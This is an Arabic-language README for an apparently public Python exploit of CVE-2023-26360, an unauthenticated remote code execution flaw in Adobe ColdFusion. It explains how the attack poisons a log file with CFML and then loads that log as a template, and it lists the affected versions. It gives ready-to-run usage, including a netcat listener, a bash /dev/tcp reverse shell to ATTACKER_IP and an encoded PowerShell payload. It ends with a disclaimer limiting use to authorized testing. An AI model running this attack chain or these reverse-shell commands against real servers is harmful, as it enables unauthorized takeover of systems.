CVE-2023-26360 — Adobe ColdFusion هجوم تنفيذ الأوامر عن بُعد غير الموثَّق

تنفيذ بايثون لاستغلال تنفيذ الأوامر عن بُعد لـ CVE-2023-26360، بناءً على تحليل وحدة Metasploit الأصلية والعمل السابق لـ jakabakos.

لماذا هذا الاستغلال موجود؟

تحاول إثبات المفهوم (PoC) لـ jakabakos حقن <cfexecute> مباشرة في معامل _variables وقراءة المخرجات من سجل ColdFusion في خطوة واحدة. يفشل هذا الأسلوب لأن ColdFusion لا يُقيِّم وسوم CFML مضمنة في هذا السياق، مما يؤدي إلى خطأ 500 بدون تنفيذ أوامر.

يعيد هذا التنفيذ إنتاج الآلية الصحيحة ذات الخطوتين المستخدمة في وحدة Metasploit:

1. تسميم السجل — يُرسل حمولة _variables مشوهة ({<cftry>CFML</cftry>) إلى نقطة نهاية CFC القابلة للاستغلال. يفشل ColdFusion في تحليلها ويكتب المحتوى الخام — بما في ذلك كود CFML — في coldfusion-out.log.
2. تنفيذ القالب — يستخدم ثغرة إلغاء تسلسل اسم الفئة لتحميل ملف السجل المسموم كقالب ColdFusion، مما يتسبب في تنفيذ الخادم لكود CFML المحقون.

يتم تنفيذ الأوامر عبر java.lang.Runtime.exec() من خلال createObject، متجنباً أي اعتماد على <cfexecute>، والذي غالباً ما يكون معطلاً في البيئات المحصَّنة أو الإنتاجية.

الإصدارات المتأثرة

• Adobe ColdFusion 2021 Update 5 والإصدارات الأقدم
• Adobe ColdFusion 2018 Update 15 والإصدارات الأقدم

المتطلبات

pip install -r requirements.txt

الاستخدام

ابدأ مستمعاً قبل تشغيل أداة الاستغلال:

nc -lvnp 4444

هدف ويندوز:

python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"

هدف لينكس:

python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

عبر وكيل (مثل Burp Suite):

python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080

الخيارات

كيف يعمل؟

┌─────────────┐         Step 1: plant CFML          ┌──────────────────┐
│   Attacker  │ ──── POST /_variables={<cftry>...  ──► iedit.cfc        │
│             │      CF fails to parse, logs CFML     │                  │
│             │                                       │ coldfusion-      │
│             │         Step 2: trigger execution     │ out.log          │
│             │ ──── POST classname=X..\logs\cf... ──► (loaded as       │
│             │                                       │  CFML template)  │
│  Listener   │ ◄─────────────── reverse shell ───────│                  │
└─────────────┘                                       └──────────────────┘

المراجع

• إعلان أمان Adobe
• تحليل Rapid7 — AttackerKB
• وحدة Metasploit
• إثبات المفهوم لـ jakabakos

إخلاء المسؤولية

تم توفير هذه الأداة للأغراض التعليمية وتقييمات الأمان المصرح بها فقط (اختبارات الاختراق، مسابقات CTF، البيئات المخبرية). تشغيل هذا الاستغلال ضد أنظمة دون إذن خطي صريح هو أمر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي استخدام سيء.